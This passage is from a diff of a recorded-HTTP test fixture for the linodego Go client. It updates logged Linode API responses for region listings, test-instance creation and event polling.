172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": + "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], + "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, + 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, + 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, + 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, - 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, - 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, - 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -207,21 +283,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:54:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -239,7 +317,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-waitforfree","root_pass":"9H4z05/H]\u003cn\u003e\u003e3~$O/75)4cBVo6z[7UxMXewQJ!J\u003cbxv1krs+9Q32c$\u003cwJNNE8|2","image":"linode/ubuntu22.04"}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-waitforfree","root_pass":"g{d3QP}c9`a]OV222[PI.onJ0m5r.]Z~5W\\@nGg1999y8u2VdDXqA61G''n|Hl''\u0026)","image":"linode/ubuntu22.04"}' form: {} headers: Accept: @@ -251,16 +329,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 52557993, "label": "linodego-waitforfree", "group": "", "status": + body: '{"id": 60303116, "label": "linodego-waitforfree", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["45.79.125.110"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.104.207.226"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "available": false, "schedule": {"day": null, - "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": - true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": - false}' + "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": + null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, + "tags": [], "host_uuid": "6833df95c5afc7bde87b97a18f8204e6eb2187f8", "has_user_data": + false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -273,17 +351,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - - "741" + - "791" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:54:51 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -315,93 +395,23 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events - method: GET - response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": null, "action": "linode_create", "username": "youjungk01", "entity": - {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, - "status": "scheduled", "secondary_entity": {"id": "linode/ubuntu22.04", "type": - "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, - "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": - false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": - null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": - {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, - "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", - "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, - "message": ""}], "page": 1, "pages": 1, "results": 2}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Connection: - - keep-alive - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, - "duration": 30.49527, "action": "linode_create", "username": "youjungk01", "entity": - {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, - "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": - "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, - "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": - false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": - null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": - {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, - "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", - "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, + body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, + "duration": 15.884423, "action": "linode_create", "username": "lgarber-dev", + "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", + "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": + {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": + "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": + "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, + "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", + "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": + 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": + "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": + "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: @@ -415,21 +425,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:55:06 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: @@ -457,23 +469,23 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 58, "time_remaining": null, "rate": null, - "duration": 45.508306, "action": "linode_create", "username": "youjungk01", - "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", - "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": + body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 53, "time_remaining": null, "rate": null, + "duration": 30.167508, "action": "linode_create", "username": "lgarber-dev", + "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", + "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": - "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": + "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", - "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": - 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": - "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": - "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, + "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": + 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": + "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": + "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: @@ -487,21 +499,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:55:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: @@ -529,23 +543,23 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 61, "time_remaining": null, "rate": null, - "duration": 60.566466, "action": "linode_create", "username": "youjungk01", - "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", - "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": + body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 59, "time_remaining": null, "rate": null, + "duration": 45.16766, "action": "linode_create", "username": "lgarber-dev", + "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", + "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": - "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": + "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", - "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": - 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": - "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": - "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, + "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": + 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": + "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": + "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: @@ -559,21 +573,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:55:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: @@ -601,23 +617,23 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 67.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": - "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, + 51.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": + "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, - "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": - false, "read": false, "percent_complete": 45, "time_remaining": null, "rate": - null, "duration": 75.479427, "action": "linode_boot", "username": "youjungk01", - "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", - "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": - {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk - Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": + "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": + false, "read": false, "percent_complete": 49, "time_remaining": null, "rate": + null, "duration": 60.183488, "action": "linode_boot", "username": "lgarber-dev", + "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", + "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": + {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk + Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: @@ -631,21 +647,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:55:51 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: @@ -673,23 +691,24 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 67.0, "action": "linode_create", "username": 